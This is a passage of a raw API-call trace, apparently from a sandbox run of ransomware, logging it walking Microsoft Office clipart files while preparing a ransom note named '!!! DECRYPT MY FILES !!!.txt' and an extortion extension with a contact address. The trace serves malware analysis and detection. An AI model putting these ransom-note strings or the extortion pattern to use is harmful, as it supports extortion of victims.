!!!.txtrt@elude.in].firex3m") returned 28 [0137.606] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.606] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.607] GetProcessHeap () returned 0x630000 [0137.607] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2a8) returned 0x671c18 [0137.607] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0137.607] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 1 [0137.607] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf") returned 0x44 [0137.607] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.607] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.607] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.607] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.607] GetProcessHeap () returned 0x630000 [0137.607] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2ac) returned 0x671c18 [0137.607] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0137.607] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 1 [0137.608] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf") returned 0x44 [0137.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.608] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.608] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.608] GetProcessHeap () returned 0x630000 [0137.608] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2b0) returned 0x671c18 [0137.609] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0137.609] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 1 [0137.609] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf") returned 0x44 [0137.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.609] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.609] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.609] GetProcessHeap () returned 0x630000 [0137.609] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2b4) returned 0x671c18 [0137.609] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0137.609] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 1 [0137.609] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf") returned 0x44 [0137.610] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.610] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.610] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.610] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.610] GetProcessHeap () returned 0x630000 [0137.610] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2b8) returned 0x671c18 [0137.610] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0137.610] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 1 [0137.610] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf") returned 0x44 [0137.610] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.610] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.610] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.610] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.611] GetProcessHeap () returned 0x630000 [0137.611] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2bc) returned 0x671c18 [0137.611] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0137.611] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 1 [0137.611] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf") returned 0x44 [0137.611] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.611] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.611] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.611] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.611] GetProcessHeap () returned 0x630000 [0137.611] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2c0) returned 0x671c18 [0137.611] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0137.611] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 1 [0137.611] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf") returned 0x44 [0137.612] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.612] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.612] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.612] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.612] GetProcessHeap () returned 0x630000 [0137.612] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2c4) returned 0x671c18 [0137.612] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0137.612] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 1 [0137.612] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf") returned 0x44 [0137.612] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.612] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.613] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.613] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.613] GetProcessHeap () returned 0x630000 [0137.613] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2c8) returned 0x671c18 [0137.613] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0137.613] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 1 [0137.613] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf") returned 0x44 [0137.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.613] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.613] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.613] GetProcessHeap () returned 0x630000 [0137.613] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2cc) returned 0x671c18 [0137.614] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0137.614] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 1 [0137.614] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf") returned 0x44 [0137.614] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.614] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.614] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.614] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.614] GetProcessHeap () returned 0x630000 [0137.614] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2d0) returned 0x671c18 [0137.614] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0137.614] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 1 [0137.614] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf") returned 0x44 [0137.614] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.615] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.615] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.615] GetProcessHeap () returned 0x630000 [0137.615] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2d4) returned 0x671c18 [0137.615] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe736331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0137.615] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 1 [0137.615] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf") returned 0x44 [0137.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.615] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.615] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.615] GetProcessHeap () returned 0x630000 [0137.615] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2d8) returned 0x671c18 [0137.616] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, 